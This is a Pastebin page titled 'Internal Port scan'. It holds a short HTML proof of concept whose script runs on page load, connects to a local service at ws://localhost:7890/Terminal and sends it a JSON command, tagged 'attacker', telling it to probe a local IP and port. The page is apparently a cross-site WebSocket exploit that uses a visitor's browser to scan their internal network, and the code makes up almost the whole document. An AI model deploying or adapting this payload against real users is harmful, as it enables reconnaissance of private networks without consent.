osamaavvan

Internal Port scan

Jul 13th, 2025
124
0
167 days
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.67 KB | None | 0 0
  1. <html>
  2.  
  3. <body>Test</body>
  4.  
  5. <script>
  6.  
  7. const ws = new WebSocket('ws://localhost:7890/Terminal');
  8.  
  9. ws.onopen = function () {
  10.   console.log('WebSocket connection established');
  11.  
  12.   const message = {
  13.     TokenAppId: "attacker",
  14.     ProcessName: "Find",
  15.     IPTerminal: "127.0.0.1",
  16.     PortTerminal: 80
  17.   };
  18.  
  19.   ws.send(JSON.stringify(message));
  20.   console.log('Message sent:', message);
  21. };
  22.  
  23. ws.onmessage = function (event) {
  24.   console.log('Message from server:', event.data);
  25. };
  26.  
  27. ws.onerror = function (error) {
  28.   console.error('WebSocket error:', error);
  29. };
  30.  
  31. ws.onclose = function () {
  32.   console.log('WebSocket connection closed');
  33. };
  34.  
  35.  
  36. </script>
  37.  
  38. </html>
Advertisement
Add Comment
Please, Sign In to add comment